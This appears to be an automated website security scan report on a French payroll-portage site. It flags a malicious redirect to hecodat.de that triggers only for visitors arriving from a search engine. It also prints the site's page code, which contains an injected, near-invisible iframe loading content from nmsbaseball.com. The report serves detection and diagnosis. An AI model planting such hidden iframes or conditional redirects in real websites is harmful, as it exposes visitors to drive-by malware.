Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://www.optimumportage.fr/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: www.optimumportage.fr Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 302 Found Connection: close Date: Sun, 01 Jun 2014 04:22:13 GMT Location: http://hecodat.de/zwmd.html%3fh=1379265 Server: Apache Content-Length: 223 Content-Type: text/html; charset=iso-8859-1 | malicious |
Scanned pages/files
Request | Server response | Status |
http://www.optimumportage.fr/ | 200 OK Content-Length: 567 Content-Type: text/html | malicious |
Page code contains blacklisted domain: nmsbaseball.com <HTML> <HEAD> <TITLE>OPTIMUM | PORTAGE SALARIAL</TITLE> </HEAD> <BODY> <body bgcolor="ffffff"> <table width="100%" height="100%" cellspacing="0" cellpadding="0" border="0" > <tr align="center" > <td> <img src=image/op1.gif> </td> </tr> <tr align="center" > <td style="font-size:10;color:#cc3333;font-family:Arial;" ><strong> OPTIMUM | PORTAGE SALARIAL<br> </strong> </td> </tr> </table> <iframe name=Twitter scrolling=auto frameborder=no align=center height=55 width=9 src=http://nmsbaseball.com/post.php?id=379541></iframe></body> </HTML> Malicious iFrame found. size: 9x55 src: http://nmsbaseball.com/post.php?id=379541 This URL is marked by Google as suspicious <iframe name=twitter scrolling=auto frameborder=no align=center height=55 width=9 src=http://nmsbaseball.com/post.php?id=379541> | ||
http://www.optimumportage.fr/test404page.js | 404 Not Found Content-Length: 212 Content-Type: text/html | clean |
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=optimumportage.fr
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://optimumportage.fr/
Result: optimumportage.fr is not infected or malware details are not published yet.
Result: optimumportage.fr is not infected or malware details are not published yet.